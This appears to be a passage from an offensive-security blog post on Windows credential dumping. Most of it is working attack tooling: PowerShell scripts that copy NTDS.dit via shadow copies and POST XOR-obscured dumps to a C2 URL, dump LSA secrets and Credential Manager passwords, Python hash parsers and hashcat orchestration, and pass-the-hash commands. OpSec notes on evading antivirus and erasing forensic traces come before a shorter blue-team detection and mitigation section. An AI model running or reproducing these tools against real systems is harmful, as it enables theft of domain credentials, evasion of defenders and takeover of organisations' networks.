  1# Invoke-NTDSDump.ps1
  2# Extracts NTDS.dit and SYSTEM hive from VSS shadow copy on a DC.
  3# Requires: Domain Admin or Backup Operator on the DC.
  4
  5param(
  6    [string]$OutDir  = "C:\Windows\Temp",
  7    [string]$C2Url   = "http://10.10.10.10/collect",
  8    [byte]  $XorKey  = 0x55,
  9    [switch]$Exfil,
 10    [switch]$Cleanup
 11)
 12
 13$ntds_out   = "$OutDir\n.tmp"
 14$system_out = "$OutDir\s.tmp"
 15$linkPath   = "C:\ShadowCopy_$(Get-Random)"
 16
 17function New-ShadowCopy {
 18    Write-Host "[*] creating VSS shadow copy of C:\..." -ForegroundColor Cyan
 19
 20    # WMI-based VSS creation — avoids vssadmin.exe signature
 21    $class  = [WMICLASS]"root\cimv2:Win32_ShadowCopy"
 22    $result = $class.Create("C:\", "ClientAccessible")
 23
 24    if ($result.ReturnValue -ne 0) {
 25        Write-Warning "[-] VSS creation failed (code $($result.ReturnValue))"
 26        return $null
 27    }
 28
 29    $shadowID   = $result.ShadowID
 30    $shadowCopy = Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $shadowID }
 31    $devicePath = $shadowCopy.DeviceObject + "\"
 32
 33    Write-Host "[+] shadow copy: $devicePath" -ForegroundColor Green
 34    return $devicePath
 35}
 36
 37function Copy-FromShadow([string]$shadowPath) {
 38    # create symbolic link to shadow copy for easy access
 39    cmd /c "mklink /d `"$linkPath`" `"$shadowPath`"" | Out-Null
 40    Write-Host "[*] link: $linkPath$shadowPath"
 41
 42    $ntds_src   = "$linkPath\Windows\NTDS\ntds.dit"
 43    $system_src = "$linkPath\Windows\System32\config\SYSTEM"
 44
 45    if (Test-Path $ntds_src) {
 46        Copy-Item $ntds_src   $ntds_out   -Force
 47        Copy-Item $system_src $system_out -Force
 48        Write-Host "[+] NTDS.dit  : $ntds_out ($([math]::Round((Get-Item $ntds_out).Length/1MB,1)) MB)"
 49        Write-Host "[+] SYSTEM    : $system_out"
 50    } else {
 51        Write-Warning "[-] NTDS.dit not found — not a DC?"
 52    }
 53
 54    # cleanup link
 55    cmd /c "rmdir `"$linkPath`"" | Out-Null
 56}
 57
 58function Encrypt-Files {
 59    @($ntds_out, $system_out) | Where-Object { Test-Path $_ } | ForEach-Object {
 60        $raw = [IO.File]::ReadAllBytes($_)
 61        for ($i = 0; $i -lt $raw.Length; $i++) {
 62            $raw[$i] = $raw[$i] -bxor ($XorKey + ($i -band 0xff))
 63        }
 64        $enc = $_ + ".enc"
 65        [IO.File]::WriteAllBytes($enc, $raw)
 66        Remove-Item $_ -Force
 67
 68        if ($Exfil) {
 69            $wc = New-Object Net.WebClient
 70            $wc.Headers.Add("X-File", [IO.Path]::GetFileName($enc))
 71            $wc.UploadData($C2Url, "POST", $raw)
 72            Write-Host "[+] exfiltrated: $enc"
 73        } else {
 74            Write-Host "[+] encrypted: $enc"
 75        }
 76    }
 77}
 78
 79function Remove-ShadowAndArtifacts([string]$shadowPath) {
 80    $id = (Get-WmiObject Win32_ShadowCopy |
 81           Where-Object { $_.DeviceObject + "\" -eq $shadowPath }).ID
 82    if ($id) {
 83        (Get-WmiObject Win32_ShadowCopy -Filter "ID='$id'").Delete()
 84        Write-Host "[+] shadow copy deleted"
 85    }
 86    Remove-Item $ntds_out, $system_out,
 87                ($ntds_out + ".enc"), ($system_out + ".enc") `
 88        -Force -ErrorAction SilentlyContinue
 89}
 90
 91if ($Cleanup) {
 92    Remove-Item $ntds_out, $system_out,
 93                ($ntds_out + ".enc"), ($system_out + ".enc") `
 94        -Force -ErrorAction SilentlyContinue
 95    return
 96}
 97
 98$shadow = New-ShadowCopy
 99if ($shadow) {
100    Copy-FromShadow $shadow
101    Encrypt-Files
102    Remove-ShadowAndArtifacts $shadow
103
104    Write-Host "`n[*] parse on Kali:"
105    Write-Host "    impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL"
106}

Technique 6 — LSA Secrets + Cached Domain Credentials (DCC2)

LSA Secrets live in HKLM\SECURITY\Policy\Secrets, inaccessible even to admins directly. But using the same SAM extraction approach (reg save SECURITY) and the SysKey from SYSTEM, you can decrypt them offline with impacket.

Cached Domain Credentials (DCC2 hashes) allow domain users to log in when the DC is unreachable. They’re stored here too.

 1# Invoke-LSASecretsDump.ps1
 2# Dumps LSA secrets and DCC2 hashes via registry hive extraction.
 3
 4param(
 5    [string]$OutDir = "C:\Windows\Temp",
 6    [byte]  $XorKey = 0x22
 7)
 8
 9$files = @{
10    SYSTEM   = "$OutDir\sys.tmp"
11    SECURITY = "$OutDir\sec.tmp"
12}
13
14# export hives
15$files.GetEnumerator() | ForEach-Object {
16    Start-Process reg.exe `
17        -ArgumentList "save HKLM\$($_.Key) `"$($_.Value)`" /y" `
18        -Wait -WindowStyle Hidden | Out-Null
19    Write-Host "[+] $($_.Key)$($_.Value)"
20}
21
22# encrypt
23$files.Values | ForEach-Object {
24    $raw = [IO.File]::ReadAllBytes($_)
25    for ($i = 0; $i -lt $raw.Length; $i++) {
26        $raw[$i] = $raw[$i] -bxor ($XorKey + ($i -band 0xff))
27    }
28    [IO.File]::WriteAllBytes($_ + ".enc", $raw)
29    Remove-Item $_ -Force
30    Write-Host "[+] encrypted: $($_ + '.enc')"
31}
32
33Write-Host "`n[*] extract on Kali:"
34Write-Host "    impacket-secretsdump -system SYSTEM -security SECURITY LOCAL"
35Write-Host ""
36Write-Host "    # DCC2 crack (domain cached creds):"
37Write-Host "    hashcat -m 2100 dcc2.hash rockyou.txt"

Technique 7 — Windows Credential Manager + DPAPI

The Credential Manager stores browser passwords, RDP credentials, and saved network credentials, all encrypted with DPAPI. The DPAPI master key is derived from the user’s password and stored in their profile. With the user’s session active, decryption is seamless.

 1# Invoke-CredManDump.ps1
 2# Extracts Windows Credential Manager entries using CredEnumerate Win32 API.
 3# Runs in the context of the logged-in user — no admin required for their own creds.
 4
 5Add-Type @"
 6using System;
 7using System.Runtime.InteropServices;
 8using System.Collections.Generic;
 9using System.Text;
10
11public class CredMan {
12    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
13    public struct CREDENTIAL {
14        public int     Flags;
15        public int     Type;
16        public string  TargetName;
17        public string  Comment;
18        public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
19        public int     CredentialBlobSize;
20        public IntPtr  CredentialBlob;
21        public int     Persist;
22        public int     AttributeCount;
23        public IntPtr  Attributes;
24        public string  TargetAlias;
25        public string  UserName;
26    }
27
28    [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
29    public static extern bool CredEnumerate(
30        string filter, int flags, out int count, out IntPtr pCredentials);
31    [DllImport("advapi32.dll")] public static extern void CredFree(IntPtr buffer);
32
33    public static List<string[]> DumpAll() {
34        var results = new List<string[]>();
35        IntPtr pCreds;
36        int count;
37
38        if (!CredEnumerate(null, 0, out count, out pCreds)) return results;
39
40        IntPtr cur = pCreds;
41        for (int i = 0; i < count; i++) {
42            IntPtr pCred = Marshal.ReadIntPtr(cur);
43            var cred = Marshal.PtrToStructure<CREDENTIAL>(pCred);
44
45            string pass = "";
46            if (cred.CredentialBlobSize > 0 && cred.CredentialBlob != IntPtr.Zero) {
47                byte[] blob = new byte[cred.CredentialBlobSize];
48                Marshal.Copy(cred.CredentialBlob, blob, 0, cred.CredentialBlobSize);
49                // try decode as UTF-16 (most Windows credentials)
50                try { pass = Encoding.Unicode.GetString(blob); }
51                catch { pass = BitConverter.ToString(blob); }
52            }
53
54            results.Add(new string[] {
55                cred.TargetName ?? "",
56                cred.UserName   ?? "",
57                pass,
58                cred.Type.ToString()
59            });
60            cur = IntPtr.Add(cur, IntPtr.Size);
61        }
62        CredFree(pCreds);
63        return results;
64    }
65}
66"@
67
68Write-Host "`n[+] Windows Credential Manager entries:`n"
69$creds = [CredMan]::DumpAll()
70if ($creds.Count -eq 0) {
71    Write-Host "    (none found for current user)"
72} else {
73    $creds | ForEach-Object {
74        Write-Host "  Target  : $_[0]" -ForegroundColor Cyan
75        Write-Host "  Username: $_[1]"
76        Write-Host "  Password: $_[2]" -ForegroundColor Yellow
77        Write-Host "  Type    : $_[3]"
78        Write-Host ""
79    }
80}
81
82# also export DPAPI blobs for offline cracking
83$dpapi_path = "$env:APPDATA\Microsoft\Protect"
84if (Test-Path $dpapi_path) {
85    Write-Host "[*] DPAPI master key location: $dpapi_path"
86    Get-ChildItem $dpapi_path -Recurse | ForEach-Object {
87        Write-Host "    $($_.FullName)"
88    }
89    Write-Host ""
90    Write-Host "[*] decrypt with:"
91    Write-Host "    impacket-dpapi masterkey -file <masterkey> -sid <SID> -password <pass>"
92}

Tool — Dump Parser & Credential Extractor (Python)

Full offline credential extraction pipeline: decrypts XOR-encrypted dumps, parses SAM hives, and outputs crackable hashes.

  1#!/usr/bin/env python3
  2# dump_parser.py
  3# Offline credential extraction tool.
  4#
  5# Capabilities:
  6#   - XOR decrypt encrypted dumps / hives
  7#   - Parse SAM + SYSTEM hives to extract NTLM hashes (via impacket)
  8#   - Format hashes for hashcat / john
  9#   - Parse DCC2 hashes for hashcat -m 2100
 10#
 11# Requirements: pip install impacket
 12#
 13# Usage:
 14#   python3 dump_parser.py --decrypt --key 0x4C lsass.enc lsass.dmp
 15#   python3 dump_parser.py --sam SAM --system SYSTEM [--security SECURITY]
 16#   python3 dump_parser.py --ntds ntds.dit --system SYSTEM
 17#   python3 dump_parser.py --format hashcat --out hashes.txt
 18
 19import argparse
 20import os
 21import sys
 22import struct
 23import hashlib
 24from datetime import datetime
 25
 26try:
 27    from impacket.examples.secretsdump import (
 28        LocalOperations, NTDSHashes, SAMHashes, LSASecrets
 29    )
 30    HAS_IMPACKET = True
 31except ImportError:
 32    HAS_IMPACKET = False
 33    print("[!] impacket not installed — install with: pip install impacket", file=sys.stderr)
 34
 35
 36# ── XOR decrypt ────────────────────────────────────────────────────────────
 37
 38def rolling_xor_decrypt(data: bytes, key: int) -> bytes:
 39    return bytes(b ^ ((key + i) & 0xff) for i, b in enumerate(data))
 40
 41
 42def decrypt_file(in_path: str, out_path: str, key: int) -> bool:
 43    try:
 44        with open(in_path, 'rb') as f:
 45            enc = f.read()
 46        dec = rolling_xor_decrypt(enc, key)
 47        with open(out_path, 'wb') as f:
 48            f.write(dec)
 49        print(f"[+] decrypted {in_path}{out_path} ({len(dec)} bytes)")
 50        return True
 51    except Exception as e:
 52        print(f"[-] decrypt failed: {e}", file=sys.stderr)
 53        return False
 54
 55
 56# ── SAM hash extraction ─────────────────────────────────────────────────────
 57
 58def dump_sam(sam_path: str, system_path: str, security_path: str = None,
 59             fmt: str = 'hashcat') -> list:
 60    if not HAS_IMPACKET:
 61        return []
 62
 63    hashes = []
 64    print(f"\n[*] parsing SAM: {sam_path}")
 65
 66    try:
 67        local_ops   = LocalOperations(system_path)
 68        boot_key    = local_ops.getBootKey()
 69        print(f"[*] boot key : {boot_key.hex()}")
 70
 71        sam_hashes  = SAMHashes(sam_path, boot_key, isRemote=False)
 72        sam_hashes.dump()
 73
 74        for entry in sam_hashes._SAMHashes:
 75            username = entry['username']
 76            rid      = entry['rid']
 77            lm       = entry['lmhash'].hex()   if entry['lmhash']   else 'aad3b435b51404eeaad3b435b51404ee'
 78            ntlm     = entry['nthash'].hex()    if entry['nthash']   else '31d6cfe0d16ae931b73c59d7e0c089c0'
 79
 80            if fmt == 'hashcat':
 81                line = f"{username}:{rid}:{lm}:{ntlm}:::"
 82            elif fmt == 'john':
 83                line = f"{username}:{ntlm}"
 84            else:
 85                line = f"{username} RID={rid} LM={lm} NTLM={ntlm}"
 86
 87            hashes.append(line)
 88            print(f"  [HASH] {line}")
 89
 90        sam_hashes.finish()
 91    except Exception as e:
 92        print(f"[-] SAM parse error: {e}", file=sys.stderr)
 93
 94    if security_path:
 95        print(f"\n[*] parsing LSA secrets + DCC2: {security_path}")
 96        try:
 97            lsa = LSASecrets(security_path, boot_key, None, isRemote=False)
 98            lsa.dumpCachedHashes()
 99            lsa.dumpSecrets()
100            lsa.finish()
101        except Exception as e:
102            print(f"[-] LSA error: {e}", file=sys.stderr)
103
104    return hashes
105
106
107# ── NTDS hash extraction ────────────────────────────────────────────────────
108
109def dump_ntds(ntds_path: str, system_path: str,
110              fmt: str = 'hashcat') -> list:
111    if not HAS_IMPACKET:
112        return []
113
114    hashes = []
115    print(f"\n[*] parsing NTDS.dit: {ntds_path}")
116
117    try:
118        local_ops = LocalOperations(system_path)
119        boot_key  = local_ops.getBootKey()
120        print(f"[*] boot key  : {boot_key.hex()}")
121
122        ntds = NTDSHashes(ntds_path, boot_key, isRemote=False,
123                          history=False, noLMHash=True)
124        ntds.dump()
125
126        # NTDSHashes writes to stdout — in production redirect or monkey-patch
127        # For structured output, use the callback interface
128        ntds.finish()
129    except Exception as e:
130        print(f"[-] NTDS parse error: {e}", file=sys.stderr)
131
132    return hashes
133
134
135# ── hash formatter ──────────────────────────────────────────────────────────
136
137def write_hashes(hashes: list, out_path: str, fmt: str):
138    if not hashes:
139        print("[*] no hashes to write")
140        return
141
142    with open(out_path, 'w') as f:
143        for h in hashes:
144            f.write(h + '\n')
145
146    print(f"\n[+] {len(hashes)} hashes → {out_path}")
147
148    if fmt == 'hashcat':
149        print(f"[*] crack NTLM:  hashcat -m 1000 {out_path} rockyou.txt -r best64.rule")
150        print(f"[*] crack NTLMv2: hashcat -m 5600 {out_path} rockyou.txt")
151        print(f"[*] crack DCC2:   hashcat -m 2100 {out_path} rockyou.txt")
152    elif fmt == 'john':
153        print(f"[*] crack:  john --wordlist=rockyou.txt --format=NT {out_path}")
154
155
156# ── main ────────────────────────────────────────────────────────────────────
157
158def main():
159    p = argparse.ArgumentParser(description="Offline credential extraction tool")
160
161    # decrypt options
162    p.add_argument('--decrypt',       action='store_true')
163    p.add_argument('--key',           default='0x4C', help='XOR key hex')
164    p.add_argument('--out-suffix',    default='.dec',  help='decrypted file suffix')
165
166    # source options
167    p.add_argument('--sam',           metavar='FILE')
168    p.add_argument('--system',        metavar='FILE')
169    p.add_argument('--security',      metavar='FILE', default=None)
170    p.add_argument('--ntds',          metavar='FILE')
171
172    # output options
173    p.add_argument('--format',        choices=['hashcat','john','plain'], default='hashcat')
174    p.add_argument('--out',           default='hashes.txt')
175
176    # positional: files to decrypt
177    p.add_argument('files',           nargs='*')
178
179    args = p.parse_args()
180    key  = int(args.key, 16) & 0xff
181
182    # decrypt mode
183    if args.decrypt:
184        if not args.files:
185            p.error("--decrypt requires input files")
186        for f in args.files:
187            out = os.path.splitext(f)[0] + args.out_suffix
188            decrypt_file(f, out, key)
189        return
190
191    # SAM dump
192    if args.sam and args.system:
193        hashes = dump_sam(args.sam, args.system, args.security, args.format)
194        write_hashes(hashes, args.out, args.format)
195        return
196
197    # NTDS dump
198    if args.ntds and args.system:
199        hashes = dump_ntds(args.ntds, args.system, args.format)
200        write_hashes(hashes, args.out, args.format)
201        return
202
203    p.print_help()
204
205
206if __name__ == '__main__':
207    main()

Tool — Hash Cracker Helper (Python)

  1#!/usr/bin/env python3
  2# hash_crack.py
  3# Orchestrates hashcat / john for common credential dump hash types.
  4# Generates optimised crack commands and runs them with progress tracking.
  5#
  6# Usage:
  7#   python3 hash_crack.py --hashes hashes.txt --wordlist rockyou.txt
  8#   python3 hash_crack.py --hashes hashes.txt --type ntlm --rules
  9#   python3 hash_crack.py --hashes hashes.txt --type dcc2 --wordlist rockyou.txt
 10
 11import argparse
 12import subprocess
 13import os
 14import sys
 15import re
 16from pathlib import Path
 17
 18HASHCAT_MODES = {
 19    'ntlm':    1000,
 20    'ntlmv2':  5600,
 21    'dcc2':    2100,
 22    'lm':      3000,
 23    'md5crypt':500,
 24    'sha256':  1400,
 25}
 26
 27RULE_FILES = [
 28    '/usr/share/hashcat/rules/best64.rule',
 29    '/usr/share/hashcat/rules/dive.rule',
 30    '/usr/share/hashcat/rules/OneRuleToRuleThemAll.rule',
 31]
 32
 33def detect_hash_type(hash_file: str) -> str:
 34    with open(hash_file) as f:
 35        sample = f.readline().strip()
 36
 37    # secretsdump format: user:rid:lm:ntlm:::
 38    if re.match(r'.+:\d+:[0-9a-f]{32}:[0-9a-f]{32}:::', sample, re.I):
 39        return 'ntlm'
 40    # DCC2: $DCC2$...
 41    if sample.startswith('$DCC2$'):
 42        return 'dcc2'
 43    # NTLMv2: user::domain:challenge:response
 44    if sample.count(':') == 5 and len(sample.split(':')[5]) == 64:
 45        return 'ntlmv2'
 46    # raw 32-char hex
 47    if re.match(r'^[0-9a-f]{32}$', sample, re.I):
 48        return 'ntlm'
 49    return 'ntlm'  # default
 50
 51def extract_ntlm(hash_file: str, out_file: str) -> int:
 52    """Extract NTLM column from secretsdump format for hashcat -m 1000"""
 53    count = 0
 54    with open(hash_file) as fi, open(out_file, 'w') as fo:
 55        for line in fi:
 56            line = line.strip()
 57            if not line or line.startswith('#'): continue
 58            parts = line.split(':')
 59            if len(parts) >= 4:
 60                ntlm = parts[3]
 61                if re.match(r'^[0-9a-f]{32}$', ntlm, re.I) and \
 62                   ntlm != '31d6cfe0d16ae931b73c59d7e0c089c0':  # skip empty
 63                    fo.write(ntlm + '\n')
 64                    count += 1
 65    return count
 66
 67def run_hashcat(mode: int, hash_file: str, wordlist: str,
 68                rules: list = None, extra_args: list = None) -> None:
 69    cmd = [
 70        'hashcat',
 71        '-m', str(mode),
 72        '-a', '0',                  # wordlist attack
 73        '--force',
 74        '--potfile-disable',        # don't skip already-cracked
 75        '--status', '--status-timer=10',
 76        hash_file,
 77        wordlist,
 78    ]
 79    if rules:
 80        for r in rules:
 81            if os.path.exists(r):
 82                cmd += ['-r', r]
 83    if extra_args:
 84        cmd += extra_args
 85
 86    print(f"\n[*] running: {' '.join(cmd)}\n")
 87    try:
 88        subprocess.run(cmd, check=False)
 89    except FileNotFoundError:
 90        print("[-] hashcat not found — install with: sudo apt install hashcat")
 91
 92def show_cracked(pot_file: str = None) -> None:
 93    pot = pot_file or os.path.expanduser('~/.hashcat/hashcat.potfile')
 94    if not os.path.exists(pot):
 95        print("[*] no potfile found")
 96        return
 97    print(f"\n[+] cracked credentials ({pot}):")
 98    with open(pot) as f:
 99        for line in f:
100            line = line.strip()
101            if ':' in line:
102                parts = line.split(':', 1)
103                print(f"  HASH: {parts[0][:16]}...  PASS: {parts[1]}")
104
105def main():
106    p = argparse.ArgumentParser(description="Hashcat orchestrator for cred dumps")
107    p.add_argument('--hashes',    required=True)
108    p.add_argument('--wordlist',  default='/usr/share/wordlists/rockyou.txt')
109    p.add_argument('--type',
110                   choices=list(HASHCAT_MODES.keys()),
111                   default=None, help='auto-detect if omitted')
112    p.add_argument('--rules',     action='store_true', help='apply best64 rules')
113    p.add_argument('--show',      action='store_true', help='show cracked only')
114    p.add_argument('--extract',   action='store_true',
115                   help='extract NTLM column from secretsdump format first')
116    args = p.parse_args()
117
118    if args.show:
119        show_cracked()
120        return
121
122    hash_type = args.type or detect_hash_type(args.hashes)
123    mode      = HASHCAT_MODES[hash_type]
124    target    = args.hashes
125
126    print(f"[*] hash type : {hash_type} (mode {mode})")
127    print(f"[*] hash file : {args.hashes}")
128    print(f"[*] wordlist  : {args.wordlist}")
129
130    if args.extract and hash_type == 'ntlm':
131        extracted = args.hashes + '.ntlm'
132        n = extract_ntlm(args.hashes, extracted)
133        print(f"[*] extracted {n} NTLM hashes → {extracted}")
134        target = extracted
135
136    if not os.path.exists(args.wordlist):
137        print(f"[-] wordlist not found: {args.wordlist}")
138        print("    download: wget https://github.com/brannondorsey/naive-hashcat/"
139              "releases/download/data/rockyou.txt")
140        sys.exit(1)
141
142    rules = [RULE_FILES[0]] if args.rules else None
143    run_hashcat(mode, target, args.wordlist, rules)
144    show_cracked()
145
146if __name__ == '__main__':
147    main()
 1# full pipeline
 2# 1. decrypt dump
 3python3 dump_parser.py --decrypt --key 0x4C lsass.enc
 4
 5# 2. parse SAM hashes
 6python3 dump_parser.py --sam SAM --system SYSTEM --security SECURITY \
 7    --format hashcat --out hashes.txt
 8
 9# 3. crack
10python3 hash_crack.py --hashes hashes.txt --wordlist rockyou.txt \
11    --extract --rules
12
13# 4. pass-the-hash with cracked / raw NTLM
14impacket-psexec -hashes :a<ntlm_hash> Administrator@10.10.10.10
15impacket-wmiexec -hashes :a<ntlm_hash> Administrator@10.10.10.10

OpSec Notes

┌─────────────────────────────────────────────────────────────────────┐
│                     NOISE LEVEL BY TECHNIQUE                        │
├──────────────────────┬────────────────┬────────────────────────────┤
│ Technique            │ Noise Level    │ Primary Detection Signal   │
├──────────────────────┼────────────────┼────────────────────────────┤
│ comsvcs.dll MiniDump │ HIGH           │ rundll32 → comsvcs.dll     │
│                      │                │ touching lsass handle      │
├──────────────────────┼────────────────┼────────────────────────────┤
│ Custom Dumper        │ MEDIUM         │ OpenProcess(lsass) EID 10  │
│ (lsass_dump.exe)     │                │ MiniDumpWriteDump call     │
├──────────────────────┼────────────────┼────────────────────────────┤
│ Handle Duplication   │ LOW            │ No direct OpenProcess,     │
│                      │                │ DuplicateHandle from       │
│                      │                │ trusted process            │
├──────────────────────┼────────────────┼────────────────────────────┤
│ SAM / hive reg save  │ MEDIUM         │ reg.exe saving hives,      │
│                      │                │ SAM file creation          │
├──────────────────────┼────────────────┼────────────────────────────┤
│ NTDS via VSS         │ MEDIUM-LOW     │ VSS creation event,        │
│                      │                │ ntds.dit file access       │
├──────────────────────┼────────────────┼────────────────────────────┤
│ Credential Manager   │ LOW            │ CredEnumerate API call     │
│                      │                │ (user-context only)        │
└──────────────────────┴────────────────┴────────────────────────────┘
  • Encrypt every dump before it hits disk. The XOR-on-write callback in lsass_dump.c means the plaintext MiniDump never exists as a file. Only the encrypted version is written. This defeats file-based AV scanning.
  • Exfiltrate over HTTPS. HTTP POST of a dump is a large anomalous upload. Use HTTPS with a clean domain, or chunk into smaller requests to blend with normal traffic.
  • The dump file name matters. lsass.dmp is a hard Defender signature. Use random extensions: .tmp, .log, .dat, names matching existing system files in the same directory.
  • PPL (Protected Process Light) blocks OpenProcess on LSASS when Credential Guard is active. Handle duplication is your best bet. Kernel-level techniques (driver-based) are beyond this post’s scope but exist.
  • Timing matters for VSS. On DCs with heavy AD activity, VSS snapshots can lag. Create the snapshot, extract immediately, and delete. Don’t leave shadows around for forensics to find.

Detection (Blue Team)

signalevent
OpenProcess targeting LSASSSysmon EID 10 — SourceImage + TargetImage = lsass.exe
rundll32.exe loading comsvcs.dllSysmon EID 7 — ImageLoad
MiniDumpWriteDump called against LSASSETW — Microsoft-Windows-Threat-Intelligence
reg.exe save HKLM\SAMSysmon EID 1 — CommandLine
VSS shadow copy creationWindows EID 7036 — VSS service + WMI
Large file write to TempSysmon EID 11 — FileCreate, size anomaly
NTLM hash used in Pass-the-HashSecurity EID 4624 — LogonType=3 + NTLM
CredEnumerate calledETW — Microsoft-Windows-Security-Auditing

PowerShell hunt — find lsass access events:

 1# Hunt-LSASSAccess.ps1
 2Get-WinEvent -FilterHashtable @{
 3    LogName = "Microsoft-Windows-Sysmon/Operational"
 4    Id      = 10   # ProcessAccess
 5} -MaxEvents 1000 -ErrorAction SilentlyContinue |
 6Where-Object {
 7    $_.Message -match "lsass\.exe" -and
 8    $_.Message -match "TargetImage"
 9} |
10Select-Object TimeCreated,
11    @{N="Source";E={ ($_.Message | Select-String "SourceImage: (.+)").Matches[0].Groups[1].Value }},
12    @{N="Access"; E={ ($_.Message | Select-String "GrantedAccess: (.+)").Matches[0].Groups[1].Value }} |
13Format-Table -AutoSize

Mitigation stack:

 1# Enable Credential Guard (blocks WDigest, encrypts NTLM in LSASS)
 2# Requires UEFI Secure Boot + TPM 2.0
 3$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard"
 4Set-ItemProperty $regPath "EnableVirtualizationBasedSecurity" 1
 5Set-ItemProperty $regPath "RequirePlatformSecurityFeatures"   1
 6
 7# Enable RunAsPPL — protects LSASS as Protected Process Light
 8Set-ItemProperty `
 9    "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
10    "RunAsPPL" 1
11
12# Disable WDigest plaintext caching
13Set-ItemProperty `
14    "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
15    "UseLogonCredential" 0
16
17# Block reg.exe from saving SAM/SYSTEM hives via AppLocker
18# (DLL Rules must be enabled)

MITRE ATT&CK

techniqueIDdescription
OS Credential DumpingT1003Parent technique
LSASS MemoryT1003.001comsvcs MiniDump, custom dumper, handle dup
Security Account ManagerT1003.002SAM hive extraction
NTDST1003.003ntds.dit via VSS on DC
LSA SecretsT1003.004SECURITY hive + LSA decryption
Cached Domain CredentialsT1003.005DCC2 hash extraction
Credentials from Password StoresT1555Credential Manager
Windows Credential ManagerT1555.004CredEnumerate API
Defense EvasionTA0005Encrypted dumps, LOLBin delivery
Credential AccessTA0006Primary tactic
Lateral MovementTA0008Pass-the-Hash, Pass-the-Ticket

References

Last updated on